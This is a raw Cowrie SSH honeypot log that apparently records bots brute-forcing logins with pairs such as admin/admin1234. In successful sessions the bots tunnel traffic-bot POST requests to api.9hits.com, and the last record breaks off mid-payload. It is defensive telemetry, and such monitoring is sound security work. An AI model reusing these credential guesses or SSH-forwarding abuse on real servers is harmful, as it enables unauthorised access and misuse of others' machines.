{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:52.833754Z","src_ip":"91.92.40.36","session":"df7eb011aaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:53.115910Z","src_ip":"91.92.40.36","session":"c1df28885219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27442,"dst_ip":"159.203.135.109","dst_port":22,"session":"651273e84501","protocol":"ssh","message":"New connection: 91.92.40.36:27442 (159.203.135.109:22) [session: 651273e84501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:57.059047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:57.812276Z","src_ip":"91.92.40.36","session":"651273e84501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:57.815753Z","src_ip":"91.92.40.36","session":"651273e84501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guyuqing","password":"guyuqing","message":"login attempt [guyuqing/guyuqing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:59.630234Z","src_ip":"91.92.40.36","session":"df7eb011aaa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"news","password":"news","message":"login attempt [news/news] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:01.226567Z","src_ip":"91.92.40.36","session":"651273e84501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:01.904587Z","src_ip":"91.92.40.36","session":"df7eb011aaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:03.052593Z","src_ip":"91.92.40.36","session":"651273e84501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27474,"dst_ip":"159.203.135.109","dst_port":22,"session":"977e3288ad8b","protocol":"ssh","message":"New connection: 91.92.40.36:27474 (159.203.135.109:22) [session: 977e3288ad8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:05.229990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:06.139742Z","src_ip":"91.92.40.36","session":"977e3288ad8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:06.155869Z","src_ip":"91.92.40.36","session":"977e3288ad8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11138,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d852afdade8","protocol":"ssh","message":"New connection: 91.92.40.36:11138 (159.203.135.109:22) [session: 6d852afdade8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:10.921279Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51616,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3cb83e1b932","protocol":"ssh","message":"New connection: 113.164.152.20:51616 (10.17.0.5:22) [session: f3cb83e1b932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:11.590355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:11.595080Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:11.903954Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63729,"dst_ip":"10.17.0.5","dst_port":22,"session":"968ac8e02a01","protocol":"ssh","message":"New connection: 123.27.168.40:63729 (10.17.0.5:22) [session: 968ac8e02a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:12.060898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:12.065834Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:12.300595Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:12.361577Z","src_ip":"91.92.40.36","session":"6d852afdade8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:12.365786Z","src_ip":"91.92.40.36","session":"6d852afdade8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:13.162341Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:13.415555Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:13.580633Z","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:13.700301Z","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:13.920786Z","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.042874Z","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.152689Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Mm5CY1pTbX4lI0syJFJ1Qw%3D%3Dcp0hgh%2FZJOtC0s%2FkSJAKmu%2BlZ3M%2FA1rnt8DLerZq0xMJtcK%2B0C77wGEGa0kst016Hoa7fX4xMTtrxGZcBSQnI%2FCkW2CgbnGj5zpW73jMfy5okkfcuh1FOaFFDRvB91K72h4BM%2B3B3uiq%2BgfJztm1%2BTQeonCfNHbqjvS009AY2zsiGJsO30NsRIG9VpiC9%2FjPSH2WDzwVr%2BgZ1rFX0ifVv%2Bmfk5aCydHfNGC7V0FjAXWBITIgFWVkxz7izxkg1zpeV4%2FCwbVkD0hspQozVbPDNLU%2BvIihDd3yiKaZKCEKBukf6FTeoVUzU0KWHV%2BKfGkW7bjpG8ui%2F%2B1PiBZbwDNyeXcBZM7aFCn2a1acVhu%2Bz3XAW6nqFd7WzLso0x5CMntscURcSqjxOuEs4FGhQx7CMavsDvNSvqV5PuhsSf7h2mRYT8CZldPPm2We%2BuoS%2Few6ll9xdYcFqAQJCdlX8ARIO57pW4Rra7DvMM6b3uZCL%2BhcOQ7LNy8%2BRw8CIdcJ3v2Rn2snlNH3tr7h%2F%2FpnApdJ1s%2BUI7J5NvJYrTgpReU8JEdCsotGRv0CGDDMNBo8Xielppxrv49qz%2FXdR337s%2F1Xtm3MfsKU2JqyaOWGxHbI0vdp901VJAIML5DoD1CH2HY1%2F23aqjvCyDPv9f4WuILEXLCAY2ElZ%2FfeyDbzfI%2Fxzg9B8UFiLG6q0dHoqy39xXC9uPMPKjhZKOccJ7MDExJf7rAEKNTImUaLoAyWz3O9563O9CJJiHfr9ruJQ3C3IE2vASCT%2B10BOXPxvQv2lGSOP%2BZs5AFjLMR0CHOOP%2BjXCnq3XPIq02yGWcDjRDSPpp9%2F19ZAaMq5BaxleQVX5p6wWgxE8lrp%2Bf3VTMp7biVz3d0bFJuddFUJijJS%2FHWCCxEsCFBiTxEFwcUNO7N0lgu4HqhpZJnsNZCxApemXgmKaNvoy%2B6tBISa3xwCKKYPPWYSNMV0O2FHWBFzlSy10gjVC6EfgIIjGOeDQGRXtTYp9Q81i6w3Nb0bPD2egTVcYG%2BorvYOE8UiyDCLxBNjZwyox85vUiN3Hmr2APiL4TuHU7g%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Mm5CY1pTbX4lI0syJFJ1Qw%3D%3Dcp0hgh%2FZJOtC0s%2FkSJAKmu%2BlZ3M%2FA1rnt8DLerZq0xMJtcK%2B0C77wGEGa0kst016Hoa7fX4xMTtrxGZcBSQnI%2FCkW2CgbnGj5zpW73jMfy5okkfcuh1FOaFFDRvB91K72h4BM%2B3B3uiq%2BgfJztm1%2BTQeonCfNHbqjvS009AY2zsiGJsO30NsRIG9VpiC9%2FjPSH2WDzwVr%2BgZ1rFX0ifVv%2Bmfk5aCydHfNGC7V0FjAXWBITIgFWVkxz7izxkg1zpeV4%2FCwbVkD0hspQozVbPDNLU%2BvIihDd3yiKaZKCEKBukf6FTeoVUzU0KWHV%2BKfGkW7bjpG8ui%2F%2B1PiBZbwDNyeXcBZM7aFCn2a1acVhu%2Bz3XAW6nqFd7WzLso0x5CMntscURcSqjxOuEs4FGhQx7CMavsDvNSvqV5PuhsSf7h2mRYT8CZldPPm2We%2BuoS%2Few6ll9xdYcFqAQJCdlX8ARIO57pW4Rra7DvMM6b3uZCL%2BhcOQ7LNy8%2BRw8CIdcJ3v2Rn2snlNH3tr7h%2F%2FpnApdJ1s%2BUI7J5NvJYrTgpReU8JEdCsotGRv0CGDDMNBo8Xielppxrv49qz%2FXdR337s%2F1Xtm3MfsKU2JqyaOWGxHbI0vdp901VJAIML5DoD1CH2HY1%2F23aqjvCyDPv9f4WuILEXLCAY2ElZ%2FfeyDbzfI%2Fxzg9B8UFiLG6q0dHoqy39xXC9uPMPKjhZKOccJ7MDExJf7rAEKNTImUaLoAyWz3O9563O9CJJiHfr9ruJQ3C3IE2vASCT%2B10BOXPxvQv2lGSOP%2BZs5AFjLMR0CHOOP%2BjXCnq3XPIq02yGWcDjRDSPpp9%2F19ZAaMq5BaxleQVX5p6wWgxE8lrp%2Bf3VTMp7biVz3d0bFJuddFUJijJS%2FHWCCxEsCFBiTxEFwcUNO7N0lgu4HqhpZJnsNZCxApemXgmKaNvoy%2B6tBISa3xwCKKYPPWYSNMV0O2FHWBFzlSy10gjVC6EfgIIjGOeDQGRXtTYp9Q81i6w3Nb0bPD2egTVcYG%2BorvYOE8UiyDCLxBNjZwyox85vUiN3Hmr2APiL4TuHU7g%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.157202Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.208049Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Mm5CY1pTbX4lI0syJFJ1Qw%3D%3Dcp0hgh%2FZJOtC0s%2FkSJAKmu%2BlZ3M%2FA1rnt8DLerZq0xMJtcK%2B0C77wGEGa0kst016Hoa7fX4xMTtrxGZcBSQnI%2FnmzcGE3FjjGX7%2F%2BExdfuS86FXrUiQ63enbjWKFI9EIpgMmH%2FrZKVYud%2BU5XK6KfKgeNEh%2F%2BhwgebuAZKtz%2B9ACW8fg3dGhMHhUCdMUKd40qknBvLcr8GiDCJ6Y6CpPHhuqJEODxm4SYjPoTjYV2Yd5YbKjyxDVEqBThGkPwNVzVUZ3PR%2FDsDHYhtUcXWnO5%2FKdcws%2FE8jjHiAo0EujcEfZwu4cIElxxuTTd5QuHXCLdIXxS1YfXLB%2ByaHUQ5wVdiBGHaXKfuot%2FuhMseIPyqBgKKq%2F4yEcET0S%2FmIg1SuQtoI4qjbCHVuEyqju8kgoUQnxemSE3MKMOHYenu4kmB%2Bj5xNcRlOE56AFmF9YKfiUCkWgGQCXCbU51oD3AOfFcyVpCK9heTiCKfUW6oLJtlg%2FDIjdEnp40l06pTgmI3AWmw1ZVfcueWeAYarcdhg0NUp8tG8Htqj2cyq%2FgzsMT%2BeZvDrNEP%2FsAkF42e8qvBAICPH%2FTdcgwJ5sdsJazT%2B%2BT3wLHXoszp9bG2vZn%2BJf0xQ%2B2mY8Pw1BvogavSEJ8H49wwmyYALcmoOEOmvSdkpL3hiY9rPSYTEypKzk98uNiO4G5E5XVN2ehJVZZSxuDhY4bBzjKvCFjCbkzuKOgju09KV%2F